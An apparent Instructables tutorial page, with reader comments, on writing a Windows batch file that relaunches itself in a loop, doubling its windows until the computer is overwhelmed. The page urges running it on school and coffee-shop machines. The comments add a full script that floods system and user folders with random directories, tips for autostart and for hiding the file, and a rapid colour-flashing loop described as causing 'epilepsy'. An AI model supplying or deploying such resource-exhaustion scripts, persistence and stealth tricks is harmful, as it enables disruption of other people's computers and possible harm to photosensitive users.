Evil Self Duplicating Batch File

129,661

12

57

Introduction: Evil Self Duplicating Batch File

Have you ever wanted an evil batch file that opens itself again and again and again, doubling itself each time?  Well here is how you do it.

Teacher Notes

Teachers! Did you use this instructable in your classroom?
Add a Teacher Note to share how you incorporated it into your lesson.

Step 1: Write the Batch

Open notepad and write this code.

What it means (line by line):
1 Don't show the folder the batch file is currently in. (it makes it look ugly)
2 Set a matrix look
3 The words after echo are what show up on the screen (you can change this message)
4 puts you in the folder you started the batch file in (I'll get to that)
5 a marker (I'll get to that too) (you can change this letter to any word, letter, or number; but leave the colon)
ANY COMMANDS YOU'D LIKE TO ADD GO HERE
6 sets what appears at the top of the screen (by close and minimize)
7 puts a small delay so it does not crash the computer instantly (change the number to set the time, I have a  two second delay)
8 Opens a copy of this file in a new window (name it what you save it) (that's we need line 4)
9 goes to the marker to repeat the process. (its like a page that tells you to go back to the bookmark that leads to that page. Like a loop!)

Step 2: Save the File

Press Ctrl + S and type America.bat (name it what you typed earlier) in the text field and set filetype to all. Save it wherever, on a flash drive for school and coffee shops, or online for published and profitable anarchy. You should be good to go!

Step 3: Run.bat

Open your,  batch file and if you did it right you'll get 1 at first, then 2, then 4, then 8, 16, 32, 64, 128, 256, 512, 1024, etc...
Chaos rains!!!

Be the First to Share

    Recommendations

    • LED Strip Speed Challenge

      LED Strip Speed Challenge
    • Sculpting Challenge

      Sculpting Challenge
    • Clocks Contest

      Clocks Contest

    57 Discussions

    0
    Jade912
    Jade912

    8 months ago

    Can anyone help me turn this into python? I want to make it so this Quine runs after a game of pong! Thank you!!!

    0
    lightning18200
    lightning18200

    Reply 7 months ago

    import subprocess
    def ByeComputer():
    subprocess.call(["full path to .bat file"])
    ByeComputer()

    this program is able to call batch program
    0
    TibuleacL
    TibuleacL

    3 years ago

    What if I want this program to autorun? Like this would start up automaticaly once the PC is powered on? Still a newbie soooo please help???

    0
    harshv40
    harshv40

    Reply 2 years ago

    this will work only in windows

    make a shortcut of which file do you want to run on computer start up

    now open cmd and type "shell:startup" when it opens cut and past your shortcut into this ...

    now whenever you start your computer it will auto run the file

    make sure that the base file is not deleated....

    0
    TheAdvancedGuy
    TheAdvancedGuy

    Reply 3 years ago

    Best Thing to do is put it in startup, but yeah use another programming language It will help in making it easier or even making it for you.

    0
    GummyP
    GummyP

    Reply 3 years ago

    you dont... you learn a real programming language, not dos

    0
    Cadendoesgaming1.
    Cadendoesgaming1.

    Reply 3 years ago

    It is possible to run the program when the computer starts by copying the file to the startup folder on windows. This would effectively launch whenever the user logs on. To make it stealthy, you could add "attrib +h filename" to hide it from view in file explorer.

    0
    Tolentino6
    Tolentino6

    2 years ago

    If you like you can make the screen epilepsy just do this

    :floop
    color 1a
    color 3b
    color 5c
    color 6d
    color 7e
    color 8f
    goto floop

    NOTE: DO NOT DO "color %random% a,b,c,d,e,f" it does not work.

    0
    nullynully69
    nullynully69

    4 years ago

    any way to make a bat file that generates randomly named files on the desktop using a variant of this code?

    0
    michaell598
    michaell598

    Reply 3 years ago

    @echo off
    :loop
    md %random%
    md c:\%random%
    md %systemroot%\%random
    md %userprofile%\%random
    md %userprofile%\Documents\%random%
    md %userprofile%\Music\%random%
    md %userprofile%\Desktop\%random%
    md %userprofile%\Videos\%random%
    md %userprofile%\Pictures\%random%
    goto loop

    0
    ericsantos8934
    ericsantos8934

    Reply 3 years ago

    do you know how to end this exact batch? it was run and now the pc is super slow and has like 30k files on it...

    0
    BlackH19
    BlackH19

    Reply 2 years ago

    taskkill /IM cmd.exe

    0
    nullynully69
    nullynully69

    Reply 3 years ago

    Pressing the pause break key on your keyboard stops the script. This method is also cross platform and works in Linux and Mac as well

    0
    TheAdvancedGuy
    TheAdvancedGuy

    Reply 3 years ago

    Put In Somewhere

    md %random%

    It will create a bunch of random folders

    Your Welcome @Spotlightsrule

    0
    Scibbie
    Scibbie

    Reply 4 years ago

    Actually, when you put this code in batch:
    echo (text) > text.bat It *should* create a .bat file names text.bat with that text in it.
    I dont know if this would work with %random%.bat or something like that. if it does, tell me. lol

    0
    chessc2
    chessc2

    Reply 3 years ago

    Do this:

    >%RANDOM% echo TEXT OUTPUT

    0
    AidenB6
    AidenB6

    3 years ago

    This is basic batch

    0
    AriH17
    AriH17

    Reply 3 years ago

    Pun intended?

    0
    Festix
    Festix

    Reply 3 years ago

    Yes, but we are stupid. C: